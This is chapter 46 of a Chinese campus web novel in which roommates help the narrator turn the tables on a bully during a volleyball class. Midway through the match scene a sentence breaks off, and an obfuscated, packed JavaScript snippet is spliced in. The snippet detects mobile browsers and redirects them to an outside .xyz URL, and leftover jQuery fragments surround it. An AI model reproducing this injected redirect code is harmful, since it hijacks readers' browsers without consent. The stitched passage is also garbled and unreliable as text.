46.第 46 章
作品:《青春是朵木棉花》 凌静宜完全不理别人的眼光,她严格执行跟叶翔的约会日程表:每个星期的周二中午和叶翔一起吃午饭,周四下午和周六约会。
这个约会安排表,是基于凌静宜严格的日程表来制定的。她居然一周能抽出三天来约会,刘小叶表示叶翔这个绯闻男友的分量不轻。
周日,他们还会见面,不过根据凌静宜的说法,是基于对下周约会和一些必要性工作的安排。至于什么是必要性工作,就算她跟我面对面详细解释,我应该也无法理解。对于约会,我的基本概念是吃饭、看电影和逛街,非常无聊,明明一个人就可以做的事情,还得迁就另一个人的时间和安排。
刘小叶非常好奇他们俩是怎么相处,拉着我们私下八卦他们在一起的细节,她一直意淫他们俩早已暗渡陈仓。以刘小叶天马行空的想象力和深究到底的学术精神,不当编剧真是可惜了。
“你真的知道暗渡陈仓是什么意思吗?”许苑薇刚刚去配了副新眼镜,无边框的,说是今年流行的新款式。
我们不置可否,眼镜这东西,再怎么创新也就那样,又不能搞四块镜片。
“这有什么难的?不就是凌静宜瞒着我们已经跟叶翔好上了呗。”她突然压低声音,生怕凌静宜突然从外面回来,“你们说他们有没有接吻啊?”
“你自己去问呀!”陈梦晓向上抛苹果,刘小叶抱住了头,苹果稳稳地落在了陈梦晓手里。
周二晚上,刘小叶终于憋不住了,她装作不经意地问凌静宜约会感受,凌静宜无比厌倦地说:“别提了,我就像找了份兼职,朝九晚六,向死而生。不过最近有人想收购他们公司,他马上要跟我一样忙得脚不着地了。否则,我考虑修改约会日程表。”
叶翔没有告诉凌静宜,想收购他们公司的是Monster Cone。简瑞洺和他研究了对方的收购条件后达成一致,坚决抵抗陈东尔的收购。
“哪有这么好的工作?天天对着帅哥,还不用花钱……你要是不乐意,一堆妹子虎视眈眈,想要竞争上岗呢。”刘小叶对凌静宜这种身在福中不知福的举动非常愤慨。
凌静宜不置可否地耸了耸肩。
“这就叫做恃宠而骄……”路过的陈梦晓一阵见血直指本质。
“这个话题可以打住了。”凌静宜翻着那叠如天书一般的材料,进入工作状态。
我收到了一个包裹,没有寄件人,也没有留下任何信息。一个正方形的盒子里装着一个建筑模型,旁边放着一张W大的明信片。除了认识萧楠之外,我不认识W大的人。难道是送花那天拿不了这盒子?这个圣诞礼物挺离奇。为什么送建筑模型呢?我依稀记得,他是读设计的,勉强能跟建筑搭边吧。随手放在书桌底下,等找时间还给他。
运动会、圣诞节、新年、期末考,一件件仿佛走马灯一样轮番上场。
周三跑完操,有人说校园网上公布了放假时间,我们去第二食堂买了早饭回宿舍查询。今年的农历年是在二月初,我们从1月21日开始放假,直到2月24日返校,长达一个月的寒假。没有寒假作业。听上去很让人心动。然而一同公布的还有考试时间。从1月6号到1月20号,两周的期末考。这也就意味着圣诞节是我们的最后一个狂欢日,除非做好了挂科的准备,否则接下来的两周我们都得好好复习。
国际经济与贸易系一共有六门考试。
刘小叶上蹿下跳着哀嚎:“平均两天考一门,还让不让人过新年了!”
许苑薇在整理笔记,她推了一下黑框眼镜,说:“我们平均一天半考一门,第一门还在1月6号上午,都不知道来不来及复习。”
刘小叶吐了下舌头,金融系比我们还多考三门。
凌静宜已经收拾好了她的LV包,她问:“我去咖啡馆,有人一起吗?”
“不会吧?连你都要复习?”刘小叶哭丧着脸,“期末考试不会比高考还难吧?”
“平时月考你都怎么过来的?”凌静宜像看怪物一样看着她,“况且就那么些知识点,一星期不就够了。”
“整个学期那么多门课,月考哪能覆盖整个学期的知识点!”刘小叶可怜巴巴地问:“你们说,最后一节课,老师会不会划重点?”
“我也第一次上大学。”许苑薇一本正经地回答。
“祝你好运。”
凌静宜穿着A.P.C的新款裙子,化着精致的妆容,踩着7公分的高跟鞋摇曳生姿。她周一刚刚染了头发,咖啡色,一拉开门,阳光照在她的头发上泛出柔和的月晕光芒。
临近考试,我们没有任何放纵的借口。宿舍教室食堂三点一线,生活乏味得跟修道一样。吃饭用饭卡,去图书馆刷学生卡,没有任何需要花钱的地方。
上次我妈特意打电话问我,为什么最近我没有任何刷卡记录,似乎这个问题比我期末能考多少分还重要。当然,我自己也不真的关心自己期末能考多少分。
对我而言,眼下比考试复习让我头疼的是即将到来的排球课。
周二下午送完李离回到学校,我跟着小陈哥集训。做完4组波比跳和8组深蹲跳,我已经瘫成一团软泥了,接着小陈哥陪我练了整整两小时的排球,我累得手都抬不起来。原本以为周三会继续魔鬼训练,小陈哥冲我笑了笑,“开什么玩笑,明天你能动弹再说吧。”
果然,周三整一天,我浑身酸疼,跟僵尸一样进行四肢驯化。
早晨睁开眼,我心有余悸抬胳膊,还行,不那么酸胀了。
她们几个在讨论去哪儿复习。
凌静宜有点烦躁,“今天星期四,我约了叶翔。”
“啊哦,那我们就不去当电灯泡了。”刘小叶挤眉弄眼地揶揄,“约会愉快!”
凌静宜没搭理她,拎着包出去了。
刘小叶看看我,又看看陈梦晓,一副不相信的表情,“刚刚她没怼我?你们说,他们俩会不会真的在一起啦?”
“你想太多了。”陈梦晓蹬了一下腿,轻松地倒立贴在墙上,说:“要是他俩在一起,我就请你吃哈根达斯,两个球。”
刘小叶冲到墙边,歪着头对陈梦晓说:“小陈哥,你可不能骗我。”接着她转过头来喊:“小西,你作证!”
“许许,你也听见了吧?!”她左手勾着我,右手勾着许苑薇,昂着头说:“小陈哥,输了可不许抵赖。”
我没心思参与他们的打赌,胳膊不酸了,可我的胃痉挛,想吐。逼迫自己集中精神,在脑子里把小陈哥教的手法步法过了一遍。
尽管我抗拒,排球课还是如期而至。
磨磨蹭蹭换好运动服,在上课铃声响了之后才匆匆忙忙进入排球场。队列早已排好了,我顺势站在最右边。一般来说,都是临近的学生两两结对练习。
“老师,我上次是跟周小西一起练习的。我能申请跟她结对吗?”庄子羽举起手,万分真诚地望着体育老师。
“原则上不指定搭档,你们自己商量,搭档愿意换的话就可以。”
“谢谢老师。”
体育老师让每一排的排头跟他去拎排球。
庄子羽走到我这次搭档的女生面前,也不说话,只盯着她。
双马尾和四眼妹一左一右,把她夹在中间。双马尾两手交叉抱在胸前,“知道该怎么做吧。”
那个瘦小的女生用右手食指托了下眼镜,怯懦地看我一眼,又看了庄子羽一眼,低下头,向双马尾挪了过去。
庄子羽笑得十分嚣张,“周小西,我们又见面了哦。”
她故意向左向右看了看,“今天……只有你一个人吗?看来,没人能帮你了哦。”
我冷冷地看着她,周身泛起细密的刺痛感——上次被排球砸出来的瘀伤一个多星期才消下去。
“别废话。谁修理谁,还不一定呢!”
“哎呦,识别三日当刮目相看?我倒是要看看,是嘴硬呢,还是骨头硬。”
两个高个子女生一左一右拎着一筐排球,还没走到排球场中央,就有人从筐里拿了两个排球,右手一扬,排球飞出去,被另一个人接住,在手指顶转起来。居然是凌静宜和陈梦晓!
庄子羽看到凌静宜的那一刻,脸色瞬间变得煞白。
十几个女生朝着我们这片排球场走过来,刘小叶跟在后面跑得呼哧呼哧的。
我呆愣了片刻,凌静宜不是出门跟叶翔约会了吗?陈梦晓和刘小叶不是今天下午有课吗?她们这是翘课跑来陪我上体育课?
刘小叶一路小跑到我旁边,“小西,惊不惊喜,意不意外?”
对我是惊喜,对庄子羽是惊吓。
“老师,她们不是我们班的同学!”她强装镇定,向老师告发。
“今天秦老师请假了,两个班一起上课。分成小组打对抗赛,一组四人。”体育老师看了看她,“这位同学有意见吗?”
她嘴唇翕动,“没……没意见。”
我们这边刚好四个人。庄子羽、马尾辫、四眼妹和我的前搭档组成了一组。
庄子羽大概怕了,站在了最远的发球位上,从技术上来说,位于最远位置的发球位是最难被攻击的对象。前搭档在二号位,马尾辫和四眼妹分别站三四号位。
凌静宜挑衅似的冲她笑了笑。
比赛开始,我们取得首发优势,陈梦晓发球。
陈梦晓把球抛向空中,起跳,在球刚落下三分之一不到就击排球正中,排球重重地砸在庄子羽前胸,她一个踉跄,球落地。
球由二号位传回到我们这边。
陈梦晓发动了第二轮进攻,跳起扣球,球直直地越网飞过去,砸得庄子羽眼冒金星。球滚到界外,我们继续得分。
庄子羽捂着胸口,低声吼了一声:“你们俩是死人啊?!”
马尾辫和四眼妹刚准备向中间靠拢,体育老师不知道怎么看到我们这边,“注意队形,三角不要乱……三四号位靠二号位那么近,怎么防守?”她俩只好讪讪回到原位。
从头到尾,凌静宜和陈梦晓就没让对方拿到过发球权,这不能算是较量,完全是我们单方面对庄子羽的剿杀。
她刚准备向老师申请“暂停”,一记球又飞到她面前,她往下一跪,躲过了这一球。
至于刘小叶,完全是来凑数的。我还能接几个球,她连跳起来接球都不愿意,象征性地在抬手够得着的范围接传球。
陈梦晓体能太好了,这一场球下来,比分遥遥领先,15:3。对方拿到的3分完全是因为二号位给予了几次有效的接球和反攻。马尾辫和四眼妹配合接到了我或者刘小叶的不给力传球。
双方交换场地,凌静宜站一号位发球,陈梦晓站二号位。她俩互换了位置。
庄子羽换到了三号位上,大概是从发球轨迹上来说,那个位置避免挨砸的概率低。
凌静宜直接发球得分。
庄子羽松了一口气,看来只要不是陈梦晓,她就是安全的。她身上到处都疼,陈梦晓发的球均匀地砸在她的前胸,胳膊和腿上。
没想到,凌静宜弹起,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029050|161687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空中旋转身体,第二个球直直砸向了她。
接下来的球更让庄子羽摸不着头脑,凌静宜看上去就像是来好好来比赛的,双方比分一直均衡地来回咬住,但在两三个球里,总有一个球会砸在庄子羽身上。
庄子羽精神高度紧张,她提心吊胆,关注每一个球的走势。
凌静宜举手请示我们这组要换位,她经过我身边时,压低声音说:“别考虑得分,给她点颜色看看。让她们追平比分。”
陈梦晓探身过来,“记得我怎么教你打的吧。盯准目标,起跳,击球!”
我站在二号位,屏气凝神,起跳,狠狠地拍在球上。嘭的一声,重重砸在庄子羽胳膊上。她挥手,球落在我们界内。对方得分
庄子羽疼得龇牙咧嘴,可她有苦难言。我们避开了要害部位,大家技术都不好,失准很正常。
比分到达15:14,按照比赛规则,先到达15分的队伍获胜,但必须领先对方2分才能结束比赛。
换凌静宜到发球位。比赛继续。
打平。
16:15。
16平。
17:16。
17平。
庄子羽在这些来来回回追平比分的过程中,又挨了几球。她终于想明白了,凌静宜这是持久战打法,看起来好像陈梦晓那种淋漓尽致的打法凶猛,实际上,在这一场换人发球后,她比上一场多挨了好几球。
她及时叫了暂停。
最后一记球重重地砸在她胸口,她感觉呼吸一窒,差点没倒下去。
体育老师吹哨。第二轮比赛以19:17结束。
下课了。
这场打着“友谊第一,比赛第二”的练习赛结束了,庄子羽也快被砸晕了。凌静宜走过她身边,扬起头压低声音说:“如果我是你,会好好想想,哪些人不该惹。”
“顺便说一句,拿海绵垫出来的飞机场,也还是飞机场!”刘小叶毫不客气补上了一刀。
庄子羽的脸变得支离破碎,她眼神里扫射出怨恨的光芒如果是杀人的毒液,我们大概已经死了好几次了。
她从我身边走过,狠狠地瞪了我一眼,“周小西,算你狠!”
刘小叶从我的右边小碎步移到了左边,叉着腰站我前面。
马尾辫和四眼妹灰溜溜地跟着庄子羽走了过去。
“嘿,今天好过瘾,你没看庄子羽那张脸臭的。”刘小叶眉飞色舞地在宿舍向许苑薇宣传我们今天这场比赛。
许苑薇声音发着颤,“她不会打击报复我们吧?”
凌静宜很不屑地拨了拨头发,“她要是敢就试试看,我还真想知道遭到打击报复是什么滋味。”
她不满地对陈梦晓说:“战略战术!一上来就给她打懵了,还玩什么呀?要让她一直提心吊胆,不知道什么时候球会砸到自己身上,让她一直感觉恐惧才更有趣。你一顿狂轰乱炸,差点打乱我的安排。”
陈梦晓不以为意,她耸耸肩,“玩那么多花样干什么,直接打趴下就完了。”
“莽夫……”凌静宜给了她一个白眼。
批评完陈梦晓,凌静宜的火力开始集中向我喷射,“周小西,我是该说你没用呢,还是该说你不把我们当姐妹呢?”
刘小叶在旁边打圆场,“哎呀,小宜宜,你就别说小西了。她被庄子羽欺负就已经够惨了。庄子羽那个疯女人可凶了,上次在食堂,要不是叶翔他们帮忙,我们准挨打了。”
凌静宜一听火更大了,“你怎么不早说!今天下手轻了。”
陈梦晓意味深长地回了她一句,“第二场也应该我发球。”
“你们是怎么知道的?”我极力克制,不然眼泪要出来了。
“你那么不爱运动,上周跟着我练体能,周二疯狂练排球,当我傻啊?”陈梦晓吐槽。
“你不是约会去了吗?”我的声音里藏着哽咽,凌静宜明明打扮得花枝招展,中午都没跟我们一起吃饭就走了。
“谁说不是呢?害得我半路跑回来换运动服。”凌静宜嫌弃地看了看陈梦晓,“运动服难看死了!你想想看,怎么补偿我吧。”
“那不是因为你没有运动服。早知道不借给你了!”陈梦晓瘫在沙发上,又在抛接球状物体。
凌静宜扬着头,“下次请你们打网球,让你看看什么叫好看的运动服。”
刘小叶问了一个关键问题,“我们下次课还去吗?”
许苑薇说:“下周四金融系考高数……”
“她聪明的话应该不会再去上排球课了。”陈梦晓说。
“可是排球课有2个学分呢,下周考试了吧?”刘小叶分析得头头是道,“如果她不去考试,体育分就修不满了。我觉得她会去的。”
凌静宜不以为意,“去就去呗,我不信她还敢作妖。就算去了,肯定也会躲着周小西。”
“万一她真使坏怎么办?比如用手段让小西不及格。”刘小叶担心。
“放心,她不敢。山人自有妙计。”陈梦晓接住了直直砸向她额头的球体,原来是个垒球。
刘小叶好奇地追问:“到底是什么办法,小陈哥,你别卖关子嘛!”
“下节课不就知道了。”
凌静宜和陈梦晓对视一笑,随即一个去洗澡,另一个埋头读书,刘小叶抓耳挠腮苦思冥想。
许苑薇倒没那么好奇,她回房复习了。
肌肉酸痛卷土重来。
我躺在床上,感动如海浪汹涌,一浪高过一浪。